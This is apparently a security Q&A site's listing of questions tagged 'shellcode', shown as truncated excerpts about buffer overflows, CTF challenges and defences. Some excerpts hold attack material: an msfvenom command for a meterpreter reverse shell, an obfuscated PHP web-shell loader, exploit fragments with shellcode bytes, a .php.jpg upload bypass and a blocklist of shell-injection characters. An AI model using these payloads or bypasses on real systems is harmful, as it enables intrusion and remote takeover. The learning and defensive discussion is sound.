Questions tagged [shellcode]

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

Filter by
Sorted by
Tagged with
0 votes
0 answers
23 views

Shellcode working outside of GDB, but not inside

I am working on a pwnable.kr challenge in which I have to write a simple x86_64 assembly shellcode to read a file using syscalls. I generated the shellcode using pwntools: from pwn import * context(...
user avatar
0 votes
0 answers
28 views

How to keep android meterpreter shell script running in background after app is closed

I am connected to android using a meterpreter shell, using an embedded backdoor. I want to run a loop, on the android which will stay running even when the app is closed. My test.sh script is: #!/bin/...
user avatar
-1 votes
1 answer
146 views

How do you execute ls -la when encoded as hex? [closed]

There used to be a really bad joke from the internet where you would copy something starting with \x0B\x2E... (just an example) and when you execute this command the terminal would interpret it as ...
user avatar
0 votes
2 answers
163 views

What is the maximum payload injection size

I have been conducting some minor research into the various forms of exploitation, such as buffer overflows and similar. Most tutorials seem to focus on executing shellcode, that is code which ...
user avatar
0 votes
0 answers
92 views

Should using a FIPS capable OpenSSL implementation be avoided?

The standard OpenSSL build with the FIPS option will use a base address for libeay64.dll of 0xFB00000. Since the FIPS module is not re-locatable, it cannot take part in Address Space Layout ...
user avatar
  • 101
0 votes
2 answers
197 views

Shellcode not executing despite EIP being overwritten properly

Here is my exploit: junk = b'A' * 1032 ​ eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives shellcode = b"" shellcode += b"\x33\xc0" # xor eax, ...
user avatar
  • 121
0 votes
0 answers
163 views

Shell does not execute after buffer overflow

I am trying to do a buffer overflow on 64-bit Kali VM. When I execute the program and inject the NOP sled + shellcode + return address, the shell does not execute. I think it might have something to ...
user avatar
  • 1
4 votes
2 answers
187 views

Instruction Overwrites with Garbage?

I am practicing a function return address overwriting exploit. However, the program instruction pointer instead gets overwritten by gibberish. I have tried compiling with -fno-builtin and -fno-...
user avatar
  • 2,012
0 votes
1 answer
93 views

What is claimed here about a vulnerability in the target of a "really common shell"?

in https://twitter.com/nnwakelam/status/1363761612423786496, its tweeted: fucking yikes.. ran every bitcoin exchange for a really common shell and found.... Uname: Linux cloudimage 4.4.0-166-generic ...
user avatar
1 vote
1 answer
88 views

CLI application running user defined command periodically [closed]

For a toy CLI application I'm writing, I'd like to store a string with an user defined command that will be executed periodically (like shell -c <command_string>). I have seen other applications ...
user avatar
  • 113
2 votes
1 answer
710 views

BufferOverflow ESP too small for shellcode

I want to write an exploit for a test application that provides only 12 bytes of space at the ESP. I'm not able to place shellcode in such a small space. I have no clue what I can do to solve this. I ...
user avatar
2 votes
1 answer
392 views

How to avoid crash after successfully run shellcode?

I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no ...
user avatar
  • 21
2 votes
2 answers
1k views

How do I gain root access to a system using a setuid root binary?

Assuming that I have no ability to use sudo and rather limited permissions, but I have a shell script exploit that allows to me change the file ownership of a file to the current user by running a ...
user avatar
  • 23
1 vote
3 answers
401 views

Can't inject meterpreter shellcode in c++ code

I want to inject meterpreter shellcode in a c++ program. When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well. But when I create shellcode and inject it ...
user avatar
0 votes
1 answer
109 views

Automatically insertion of 00 in EIP in Stack Overflow 64bit

I am trying to overflow a stack in C sample code to execute uncalled function in code. The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be ...
user avatar
1 vote
0 answers
163 views

MessageBoxA only shows up in debugger?

This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow. The shellcode works perfect under Windows XP (without ASLR) when the program is ...
user avatar
  • 111
0 votes
2 answers
887 views

Can't execute shell i uploaded with cURL

I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension. When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
user avatar
1 vote
1 answer
334 views

Decompiling shellcode

I'm trying to understand how shellcode works. I wrote a simple program in C#, then I used Donut to create the shellcode from that exe in base64 format. Then, I wrote again another program to convert ...
user avatar
1 vote
1 answer
463 views

Exploit education stack-five: trouble opening shell

Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/). I run onto a problem while exploiting a stack overflow. The challenge is run execve('...
user avatar
  • 13
1 vote
1 answer
7k views

Shellcode in MongoDB Python code

I know I can input this into a search box that queries the MongoDB. I have updated the code with my shell code, but I won't include that, I will just use the exploit as it is here: db.my_collection....
user avatar
0 votes
0 answers
100 views

Pwnable: Process has its own home directory

I recently started to do the pwnable.tw challenges. I have no problem understanding the actual buffer-overflow and shellcode injection. However, after the shell is spawned, the flag is read from /...
user avatar
  • 1
0 votes
2 answers
631 views

Find Buffer Overflows at a target you want to gain access

I want to pass my OSCP exam and I am learning with the material I got. I watched the videos and read the pdf but I have a question about buffer overflows. In the example in the videos, the guy has ...
user avatar
  • 23
0 votes
1 answer
141 views

How to block for open Web Shell in my CentOS 6

I currently use mod_security in combination with maldec and block almost all attempts to upload shells, leading them to error 406. However, I found one "problem" if I upload Shell through an ftp ...
user avatar
0 votes
1 answer
987 views

In Buffer overflow exploitation what if JMP ESP address contains bad characters?

I was writing an exploit for BOF. The server accepts only ASCII payloads. FInally I wnted to jump to my shellcode which is clearly in the stack. But only one module is available without ASLR and DEP ...
user avatar
0 votes
1 answer
1k views

Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
user avatar
1 vote
3 answers
207 views

Why Does Only 1 Of These 2 Almost-identical Payloads Give Me A Shell?

I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but ...
user avatar
3 votes
2 answers
3k views

Why is a shell not spawning after a buffer overflow exploit?

I started learning about stack-smashing after it came up during a CTF exercise. I have been practicing on an ELF 32-bit executable that I received for the CTF. After disassembling the binary file, I ...
user avatar
  • 133
2 votes
2 answers
348 views

Basic questions about shellcode

Is the hex code at the top of this source file the same as the assembly at the bottom, as in they do the same thing? How can I convert assembly into hex like in this source code file? I frequently ...
user avatar
1 vote
0 answers
68 views

What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
user avatar
  • 555
0 votes
0 answers
208 views

Windows shellcode not working in C

I have been trying to run a raw piece of shellcode collected on the net within a C wrapper to try it but it never works... I know the shellcode below is all right because it does work in the context ...
user avatar
  • 1
0 votes
0 answers
822 views

permission denied when executing an elf payload

I can examine a payload using libemu (sctest) and ndisasm, like this : msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000 msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...
user avatar
  • 101
0 votes
0 answers
146 views

How to forbid user from executing malicious shell and Python script?

I am designing a online programming website similar to https://repl.it. Users can execute shell and python scripts on the browsers. If users execute malicious commands including but not limited to "...
user avatar
1 vote
0 answers
93 views

Confusing with the exact location of a shellcode in memory?

When we test a shellcode, we add it to a small C program and execute it in order to see it does the actual job we expect. But most of the time, it crashes saying 'segmentation fault'. I got the same ...
user avatar
3 votes
1 answer
976 views

Replace forbidden characters function check python

I have "blackbox" with the following python function code (without permission to change it): def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') ...
user avatar
  • 133
1 vote
2 answers
212 views

The most secure way to allow downloading and installing an app on Mac, Windows, or Linux

I have been introduced to the anti-bash-script-piping stuff such as these: Curl Bash Piping Wall of Shame (link broken) Piping curl to s(hell) Don't Pipe to your Shell The hidden dangers of piping ...
user avatar
  • 558
0 votes
2 answers
502 views

Pickle Shellcode Import Error

I'm trying to execute pickle shell-code through a download function on a website but I get the following error: <html> <h1>ERROR: Cannot load file</h1> <!-- Traceback (most ...
user avatar
  • 1
1 vote
0 answers
97 views

Why is generated different traffic for the same attack?

I created a scenario in VirtualBox (configured as internal network) with two machines: Windows XP and Kali Linux. I used ms08_067_netapi exploit from Metasploit and the payload windows/meterpreter/...
user avatar
  • 23
2 votes
1 answer
735 views

Should the shellcode be "reversed" before beeing injected in a simple buffer overflow?

I'm new to buffer overflows and I'm trying to understand exactly what I'm doing before using any premade and easy to go scripts. My goal is to spawn a shell, so I found the asm code to do an execve("/...
user avatar
  • 135
0 votes
0 answers
318 views

x86 shellcode leads to segmentation fault

I want to execute execve("/bin/dash", &"/bin/dash", NULL) on Ubuntu 64 bit with the following 32 bit shellcode: global _start _start: xor eax, eax ; set eax = 0 to push a null without using ...
user avatar
  • 125
0 votes
1 answer
1k views

Shellcode as part of format string buffer

I'm currently trying out a simple format string vuln exploit. The target program looks like this: int main(int argc, char *argv[]) { char buffer[1024]; strncpy(buffer, argv[1], sizeof(buffer)...
user avatar
  • 103
1 vote
1 answer
943 views

linux kernel exploit shellcode causes segfault

I'm learning how to write kernel exploits and my shellcode keeps seg faulting. I'm getting the memory address for commit_creds(prepare_kernel_cred(0)); #grep commit_creds /proc/kallsyms c907eea0 T ...
user avatar
0 votes
0 answers
192 views

Is JIT-compiler required for JIT-ROP attack?

I have been studying up on the concept of Just-in-Time (JIT) ROP attack (https://cs.unc.edu/~fabian/papers/oakland2013.pdf), and came across this question which I have not been able to find the ...
user avatar
  • 1
0 votes
0 answers
338 views

Shell injection using only [alphanumeric, dashes, colon, period]

I found an html form with a single input field, where the inputted text is used as the argument (or rather just the last part) of a ping command on the server. When submitting the form, the following ...
user avatar
  • 101
1 vote
1 answer
545 views

shellcode JMP-CALL-POP technique ( Segmentation fault (core dumped) )

I write this shellcode for spawn a shell on the box using JMP-CALL-POP technique but i keep got this error i don't now why !! Segmentation fault (core dumped) my shellcode : section .text ...
user avatar
1 vote
2 answers
8k views

Reverse shell refusing/difficulties to establish connection

I've been trying to reverse shell between different devices, however, I'm never able to establish a connection or get a shell prompt . Let's say I have a Mac OSX as victim and use a raspberry Pi ...
user avatar
  • 167
1 vote
1 answer
2k views

What is the purpose of the instruction fldz on the Aaron Adams shellcode?

I'm studying the Aaron Adams assembly code. You can find the documentation here (section --[ 2.b.i Getting EIP). I understand that the goal is to get the EIP. I know that the FPU environment looks ...
user avatar
  • 259
1 vote
2 answers
287 views

How is executable shellcode inserted?

How is shellcode (the payload) added to an executable file? Assume it is close source. How does the hacker then get the address of where it is? They need this for when they overwrite the return ...
user avatar
3 votes
2 answers
3k views

A process called ./watchbog is mining crypto currency in our server. How do I stop it? [duplicate]

I have found this question below but I need some more clarification that's why I am writing again. I have a process called “watchbog” that is completely hogging my CPU and I don't know what it is ...
user avatar
2 votes
0 answers
157 views

Shellcode different on guide

I followed a guide to do narnia2 of overthewire and the shellcode generated by them was: h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80 ...
user avatar
  • 123
4 votes
1 answer
1k views

Where in a binary can '/bin/sh' be written to get a shell?

I've come across some behaviour in a CTF challenge that seems very strange and I was wondering if someone could help me understand it. The CTF challenge was the can-you-gets-me challenge in ...
user avatar
  • 143

1
2 3 4 5